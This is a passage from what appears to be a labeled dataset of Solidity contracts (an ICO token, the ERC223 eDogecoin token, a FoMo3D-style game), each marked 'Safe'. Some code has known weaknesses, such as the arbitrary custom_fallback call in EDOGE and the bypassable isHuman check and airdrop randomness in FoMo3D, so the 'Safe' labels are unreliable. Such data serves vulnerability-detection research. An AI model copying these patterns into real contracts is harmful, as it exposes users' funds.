LogReturnOtherCrypto(_investor, _logString); } /** * @dev Allows Company withdraw investments */ function withdrawEther() external managerOnly { require(statusICO == StatusICO.PreIcoFinished || statusICO == StatusICO.IcoFinished); Company.transfer(this.balance); } } /** * @title AidaToken * @dev Aida token contract */ contract AidaToken is ERC20 { using SafeMath for uint256; string public name = ""Aida TOKEN""; string public symbol = ""AID""; uint256 public decimals = 18; // Ico contract address address public ico; event Burn(address indexed from, uint256 value); // Disables/enables token transfers bool public tokensAreFrozen = true; // Allows execution by the owner only modifier icoOnly { require(msg.sender == ico); _; } /** * @dev Contract constructor function sets Ico address * @param _ico ico address */ function AidaToken(address _ico) public { ico = _ico; } /** * @dev Mint tokens * @param _holder beneficiary address the tokens will be issued to * @param _value number of tokens to issue */ function mintTokens(address _holder, uint256 _value) external icoOnly { require(_value > 0); balances[_holder] = balances[_holder].add(_value); totalSupply = totalSupply.add(_value); Transfer(0x0, _holder, _value); } /** * @dev Enables token transfers */ function defrostTokens() external icoOnly { tokensAreFrozen = false; } /** * @dev Disables token transfers */ function frostTokens() external icoOnly { tokensAreFrozen = true; } /** * @dev Burn Tokens * @param _investor token holder address which the tokens will be burnt * @param _value number of tokens to burn */ function burnTokens(address _investor, uint256 _value) external icoOnly { require(balances[_investor] > 0); totalSupply = totalSupply.sub(_value); balances[_investor] = balances[_investor].sub(_value); Burn(_investor, _value); } /** * @dev Get balance of investor * @param _owner investor's address * @return balance of investor */ function balanceOf(address _owner) public constant returns(uint256) { return balances[_owner]; } /** * @dev Send coins * throws on any error rather then return a false flag to minimize * user errors * @param _to target address * @param _amount transfer amount * * @return true if the transfer was successful */ function transfer(address _to, uint256 _amount) public returns(bool) { require(!tokensAreFrozen); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } /** * @dev An account/contract attempts to get the coins * throws on any error rather then return a false flag to minimize user errors * * @param _from source address * @param _to target address * @param _amount transfer amount * * @return true if the transfer was successful */ function transferFrom(address _from, address _to, uint256 _amount) public returns(bool) { require(!tokensAreFrozen); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } /** * @dev Allows another account/contract to spend some tokens on its behalf * throws on any error rather then return a false flag to minimize user errors * * also, to minimize the risk of the approve/transferFrom attack vector * approve has to be called twice in 2 separate transactions - once to * change the allowance to 0 and secondly to change it to the new allowance * value * * @param _spender approved address * @param _amount allowance amount * * @return true if the approval was successful */ function approve(address _spender, uint256 _amount) public returns(bool) { require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * * @param _owner the address which owns the funds * @param _spender the address which will spend the funds * * @return the amount of tokens still avaible for the spender */ function allowance(address _owner, address _spender) public constant returns(uint256) { return allowed[_owner][_spender]; } }",Safe,8,8 0x02dbe2f315e059743376abcd22ab4908ea9fb02d_EDOGE.sol,"pragma solidity ^0.4.17; /* New ERC23 contract interface */ /* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ /* Fully backward compatible with ERC20 */ contract ERC223 { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function name() constant public returns (string _name); function symbol() constant public returns (string _symbol); function decimals() constant public returns (uint8 _decimals); function totalSupply() constant public returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } /** * Include SafeMath Lib */ contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x < y) { revert(); } return x - y; } function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) { if (y == 0) { return 0; } if (x > MAX_UINT256 / y) { revert(); } return x * y; } } /* * Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract EDOGE is ERC223, SafeMath { string public name = ""eDogecoin""; string public symbol = ""EDOGE""; uint8 public decimals = 8; uint256 public totalSupply = 100000000000 * 10**8; address public owner; bool public unlocked = false; bool public tokenCreated = false; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; // Initialize to have owner have 100,000,000,000 EDOGE on contract creation // Constructor is called only once and can not be called again (Ethereum Solidity specification) function EDOGE() public { // Security check in case EVM has future flaw or exploit to call constructor multiple times // Ensure token gets created once only require(tokenCreated == false); tokenCreated = true; owner = msg.sender; balances[owner] = totalSupply; // Final sanity check to ensure owner balance is greater than zero require(balances[owner] > 0); } modifier onlyOwner() { require(msg.sender == owner); _; } // Function to distribute tokens to list of addresses by the provided amount // Verify and require that: // - Balance of owner cannot be negative // - All transfers can be fulfilled with remaining owner balance // - No new tokens can ever be minted except originally created 100,000,000,000 function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public{ // Only proceed if there are enough tokens to be distributed to all addresses // Never allow balance of owner to become negative require(balances[owner] >= safeMul(addresses.length, amount)); for (uint i = 0; i < addresses.length; i++) { balances[owner] = safeSub(balanceOf(owner), amount); // Another sanity check to make sure owner balance can never be negative require(balances[owner] >= 0); balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), amount); transfer(addresses[i], amount); } } // Function to access name of token .sha function name() constant public returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant public returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant public returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant public returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again require(unlocked); if (isContract(_to)) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again require(unlocked); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again require(unlocked); //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } // Get balance of the address provided function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } // Creator/Owner can unlocked it once and it can never be locked again // Use after airdrop is complete function unlockForever() onlyOwner public { unlocked = true; } }",Safe,8,8 3597.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3Dshort is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x425020FF85f2E35b8269Af3d84DeFb2DC2BB6D12); address private admin = msg.sender; string constant public name = ""FOMO Short""; string constant public symbol = ""SHORT""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / 